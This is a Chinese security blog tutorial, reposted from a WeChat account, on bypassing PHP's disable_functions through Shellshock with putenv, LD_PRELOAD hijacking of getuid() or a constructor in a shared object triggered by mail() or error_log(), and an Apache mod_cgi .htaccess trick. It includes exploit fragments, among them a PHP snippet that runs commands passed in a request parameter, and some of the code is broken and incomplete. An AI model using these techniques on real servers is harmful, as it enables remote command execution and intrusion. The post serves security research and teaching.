disable_functions这个选项在PHP中常用来禁止某些危险函数的执行,本篇将介绍几种常见的绕过方法。
Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行,也就是说此漏洞会错误的将{}花括号外的命令进行执行。
env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"
|
执行命令后,如果显示Vulnerable CVE-2014-6271,证系统存在漏洞,在php中存在着putenv可以设置环境变量,配合开启子进程来让其执行命令,使用条件如下:
4. /bin/bash 存在 CVE-2014-6271 漏洞
5. /bin/sh -> /bin/bash sh 默认的 shell 是 bash
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){
if(strstr(readlink("/bin/sh"), "bash")!=FALSE){
$tmp=tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (function_exists('error_log')) {
print("Not vuln (not bash)n");
$output = @file_get_contents($tmp);
print("No output, or not vuln.");
// runcmd("whoami"); // 要执行的命令
runcmd($_REQUEST["cmd"]); // ?cmd=whoami
|
将exp上传后执行系统命令来进行bypass disable
LD_PRELOAD是Linux系统的一个境变量:它允许你定义在程序运行前优先加载的动态链接库,这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数,通过这个环境变量,可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库,一方面,我们可以以此功能来使用自己的或是更好的函数,而另一方面,可以通过这种方法去注入程序,从而达到特定的目的。
可以使用strace命令进行监控用户空间进程和内核的交互的功能,这里执行命令strace -f /usr/bin/id 2>&1
我们可以观察到函数和他的返回值,可以选择劫持那些无参数且常用的系统函数,比如getuid(),然后可以使用 man getuid 查看函数原型,ubuntu是默认是没有完全安装man手册的,可以通过如下命令安装。
apt-get install manpages-de manpages-de-dev manpages-dev glibc-doc manpages-posix-dev manpages-posix
|
然后可以编写同原型的getuid()函数,保存为a.c
system("echo 'hello , here is evil command !'");
|
然后执行gcc -shared -fPIC a.c -o a.so将其编译为共享对象,最后借助环境变量 LD_PRELOAD 劫持系统函数 getuid(),我们执行LD_PRELOAD=/var/www/html/a.so /usr/bin/id,获取控制权,可以看到成功输出了system函数里面的字符串。
这里要注意的是LD_PRELOAD与待执行命令间必须为空白字符。
在PHP中的利用主要是找到内部可以启动新进程的 php 函数,因为虽然 LD_PRELOAD 可以提供劫持系统函数的能力,但前提是可以控制 php 启动外部程序才行,这里需要利用到 php 函数 putenv(),可以用来设定环境变量 LD_PRELOAD,如果这个函数被ban的话,这种方法也就用不了。
运行 strace -f php mail.php 2>&1 | grep -A2 -B2 execve 查看 mail() 是否启动新进程。
第一个 execve 是启动 PHP 解释器,这里出现第二个 execve 说明启动了新进程
也就是说mail() 内部启动新进程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 a.so 中的同名 getuid() 所劫持。
然后就可以往 mail.php 内增加设置 LD_PRELOAD 的代码:
putenv("LD_PRELOAD=/var/www/html/a.so");
|
system("echo 'hello , here is evil command !'>evil");
|
我们访问mail.php之后就成功生成了evil文件。
除了上面的mail函数之外,还有error_log也会调用sendmail
同样运行 strace -f php mail.php 2>&1 | grep -A2 -B2 execve 查看 error_log() 是否启动新进程,可以看到启动了新的进程的同时调用了sendmail。
但是呢上面的方法局限在sendmail了,如果系统上根本没安装 sendmail,也就谈不上劫持,所以不要局限于仅劫持某一函数,而应考虑劫持共享对象,GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。
我们把a.c换成如下,再访问mail.php发现system同样是可以执行的。
__attribute__ ((__constructor__)) void anything (void){
system("echo 'hello , here is evil command !'>evil");
|
这里网上有现成的exp:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD。先把bypass_disablefunc.php和bypass_disablefunc_x64.so上传,这里它把mail()给ban了,所以我们需要在bypass_disablefunc.php手动加上error_log("a",1);然后访问如下。
可以看到已经成功输出pwd,也就是说明无论 php 是否安装 sendmail,只要他支持putenv()、mail()或者error_log 函数,我们就可以利用LD_PRELOAD 突破 disable_functions。
前提条件需要apache环境和mod_cgi已经启用,AllowOverride开启,也就是说要开启.htaccess文件。
Apache模块mod_cgi:任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。
AddHandler cgi-script .sh
|
这里的Options指令是Apache配置文件中的一个指令,可以在Apache服务器核心配置(server config),虚拟主机配置(virtual host),特定目录配置(directory)以及.htaccess文件中使用,Options指令的主要作用是控制特定目录将启用哪些服务器特性,这里用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本,后面就是以.sh为后缀的文件都会CGI脚本进行处理。
echo -ne "Content-Type: text/htmlnn"
|
原文始发于微信公众号(SAINTSEC):绕过PHP disable function的防护功能总结
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
点赞
https://cn-sec.com/archives/3722077.html
复制链接
复制链接
-
左青龙
- 微信扫一扫
-
-
右白虎
- 微信扫一扫
-
评论